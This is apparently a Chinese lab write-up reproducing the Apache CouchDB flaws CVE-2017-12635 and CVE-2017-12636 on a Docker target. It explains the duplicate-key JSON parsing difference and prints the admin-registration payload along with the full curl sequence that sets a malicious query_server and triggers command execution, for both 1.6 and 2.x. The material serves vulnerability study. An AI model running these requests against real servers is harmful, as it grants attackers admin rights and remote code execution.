连锁反应

0x00 漏洞概述

编号为CVE-2017-12636

Apache CouchDB是一款开源数据库,专注于易用性和成为“完全拥抱Web的数据库”。它使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL类型数据库。CouchDB默认会在5984端口开放RESTful的API接口,用于数据库管理。

由于CouchDB自身设计原因,管理员身份可以通过HTTP(S)方式配置数据库。在某些配置中,可以设置可执行文件的路径,在数据库运行范围内执行。

影响版本:Apache CouchDB < 1.7.0以及 < 2.1.1

0x01 配置

CouchDB有一个query_servers配置项,在官方文档有:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

所谓外部查询服务器(external query server)就是个进程,与CouchDB通过标准I/O交互JSON数据。由此用户是可以手动指定程序作为这个“进程”的。

在配置文件local.ini中可以配置query_server,其格式为:

[query_servers]
LANGUAGE = PATH ARGS

而默认情况下,会配置好两个query_server

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

这种配置似乎过于开放了。如果可以更改这里的配置,就可以利用数据库执行命令了。

再看官方文档:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance.

CouchDB提供了API用以从外部修改自身配置,并把修改结果保存到配置文件中。

0x02 部署

使用两台虚拟机。靶机为:192.168.0.108,攻击机为:192.168.0.104。

靶机部署镜像:

docker pull xavierholt/cve-2017-12636
docker run -d -p 5984:5984 xavierholt/cve-2017-12636

靶机访问/_utils/路径,可以看到目前是Everyone is admin的状态,点击Fix this配置一个管理员(随便写,因为提权用不上)。

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_json

0x03 利用流程

访问靶机

可以看到默认欢迎的JSON信息,以及服务器主机信息。

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_RCE_02

访问/_utils/路径,当想要查看_users时发现被拒绝:

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_BAC_03

当前至多只能注册一个普通用户,无法获得管理员权限。

垂直权限绕过

该漏洞需要依靠当初同时爆出的CVE-2017-12635提升权限。CVE-2017-12635垂直权限绕过漏洞来源于Erlang和JavaScript对于JSON的重复键解析存在差异性,下面是二者的存储形式:

  • Erlang:

    jiffy:decode('{"a":"1", "a":"2"}').
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    
  • JavaScript:

    JSON.parse('{"a":"1", "a": "2"}');
    
    { a: '2' }
    

对于给定键,Erlang解析器会存储两个值,而JavaScript只会存储一个值。

构造Payload(用于注册):

{
"type": "user",
"name": "vuluser1",
"roles": ["_admin"],
"roles":[],
"password": "vulnerable"
}

那么系统的安全检测部分(JavaScript编写)会取到第二个roles键,故判定为无害的注册请求,放行。当这份JSON到达系统实现身份验证和授权的部分(Erlang编写),由于解析组件jiffy的函数实现问题,getter函数会仅取第一个roles键,于是完成创建了一个管理员权限的用户。

BurpSuite抓一下注册的包,注意PUT路径中的用户名、_id键:

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_json_04

返回状态码201,创建成功!

此时使用账户vuluser1:vulnerable访问/_utils/里的_user就不会被拒绝了。

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_CouchDB_05

1.6.0系列

上面使用的镜像版本就是1.6.0。下面用curl完成命令注入(BurpSuite也可)。

请求添加一个名为cmdquery_server,其值为"id >/tmp/success"(就是实际需要执行的命令):

└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
""

请求添加一个名为vultest的Database,以便在里面执行查询:

└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest'
{"ok":true}

请求添加一个名为vul的Document,以便在里面执行查询:

└─$ curl -X PUT 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}                       

在这个Database里进行查询,language设为了cmd,于是会使用新添加的名为cmdquery_server进行查询,最后触发命令执行:

└─$ curl -X POST 'http://vuluser1:vulnerable@192.168.0.108:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
{"error":"EXIT","reason":"{{badmatch,{error,{bad_return_value,{os_process_error,{exit_status,0}}}}},\n [{couch_query_servers,new_process,3,\n                       [{file,\"couch_query_servers.erl\"},{line,477}]},\n  {couch_query_servers,lang_proc,3,\n                       [{file,\"couch_query_servers.erl\"},{line,462}]},\n  {couch_query_servers,handle_call,3,\n                       [{file,\"couch_query_servers.erl\"},{line,334}]},\n  {gen_server,try_handle_call,4,[{file,\"gen_server.erl\"},{line,629}]},\n  {gen_server,handle_msg,5,[{file,\"gen_server.erl\"},{line,661}]},\n  {proc_lib,init_p_do_apply,3,[{file,\"proc_lib.erl\"},{line,240}]}]}"}

看到返回错误信息,但是没关系,报错来源于执行命令之后的流程。

用靶机Docker的CLI看一下文件:

[CVE-2017-12636] Apache CouchDB命令执行漏洞复现_RCE_06

写入成功!

2.1.0系列

CouchDB 2.x版本引入集群概念,所以修改配置的API路径需要增加node名称。

获取node名称:

curl http://vuluser1:vulnerable@192.168.0.108:5984/_membership

添加query_server(增加了node路径,如这里使用node为nonode@nohost):

curl -X PUT http://vuluser1:vulnerable@192.168.0.108:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"'

之后创建Database和Document和1.6.0系列中相同。

由于CouchDB 2.x版本删除了_temp_view,需要新建一个_view

0x04 EXP

推荐乌云的EXP:vulhub/exp.py at master · vulhub/vulhub (github.com)